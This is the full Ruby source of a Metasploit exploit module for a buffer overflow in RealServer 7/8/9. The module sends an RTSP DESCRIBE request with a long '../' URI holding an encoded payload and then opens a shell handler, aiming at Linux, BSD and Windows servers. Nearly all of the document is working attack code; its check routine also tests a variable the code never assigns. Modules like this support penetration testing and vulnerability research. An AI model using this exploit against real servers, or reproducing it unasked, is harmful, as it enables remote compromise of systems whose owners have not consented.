RealServer Describe Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
require 'msf/core/exploit/http'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'RealServer Describe Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in RealServer 7/8/9  
and was based on Johnny Cyberpunk's THCrealbad exploit. This  
code should reliably exploit Linux, BSD, and Windows-based  
servers.  
},  
'Author' => 'hdm',  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'OSVDB', '4468'],  
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d",  
  
},  
'Targets' =>   
[  
[   
'Universal',  
{  
'Platform' => [ 'linux', 'bsd', 'win' ]  
},  
],  
],  
'DisclosureDate' => 'Dec 20 2002',  
'DefaultTarget' => 0))  
end  
  
def check  
res = send_request_raw({  
'method' => 'OPTIONS',  
'proto' => 'RTSP',  
'version' => '1.0',  
'uri' => '/'  
}, 5)  
  
if response and response['Server']  
print_status("Found RTSP: #{response['Server']}")  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("RealServer universal exploit launched against #{rhost}")  
print_status("Kill the master rmserver pid to prevent shell disconnect")  
  
encoded = payload.encoded.gsub(/./) { |char| "%%%.2x" % char[0] }  
  
res = send_request_raw({  
'method' => 'DESCRIBE',  
'proto' => 'RTSP',  
'version' => '1.0',  
'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"  
}, 5)  
  
handler  
end  
  
end  
`